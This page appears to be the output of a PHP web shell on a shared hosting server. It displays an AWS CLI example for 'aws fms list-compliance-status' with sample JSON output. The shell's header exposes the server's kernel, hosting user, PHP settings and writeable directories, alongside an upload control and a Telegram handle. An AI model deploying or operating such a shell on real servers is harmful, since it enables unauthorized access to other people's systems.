https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/awscli/examples/fms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/awscli/examples/fms/list-compliance-status.rst
**To retrieve the policy compliance information for member accounts**

The following ``list-compliance-status`` example retrieves member account compliance information for the specified policy. ::

    aws fms list-compliance-status \
        --policy-id a1b2c3d4-5678-90ab-cdef-EXAMPLE11111

Output::

    {
        "PolicyComplianceStatusList": [
            {
                "PolicyOwner": "123456789012",
                "PolicyId": "a1b2c3d4-5678-90ab-cdef-EXAMPLE11111",
                "PolicyName": "test",
                "MemberAccount": "123456789012",
                "EvaluationResults": [
                    {
                        "ComplianceStatus": "COMPLIANT",
                        "ViolatorCount": 0,
                        "EvaluationLimitExceeded": false
                    },
                    {
                        "ComplianceStatus": "NON_COMPLIANT",
                        "ViolatorCount": 2,
                        "EvaluationLimitExceeded": false
                    }
                ],
                "LastUpdated": 1576283774.0,
                "IssueInfoMap": {}
            }
        ]
    }

For more information, see `Viewing Resource Compliance with a Policy <https://docs.aws.amazon.com/waf/latest/developerguide/fms-compliance.html>`__ in the *AWS WAF, AWS Firewall Manager, and AWS Shield Advanced Developer Guide*.

https://t.me/RX1948 - 2025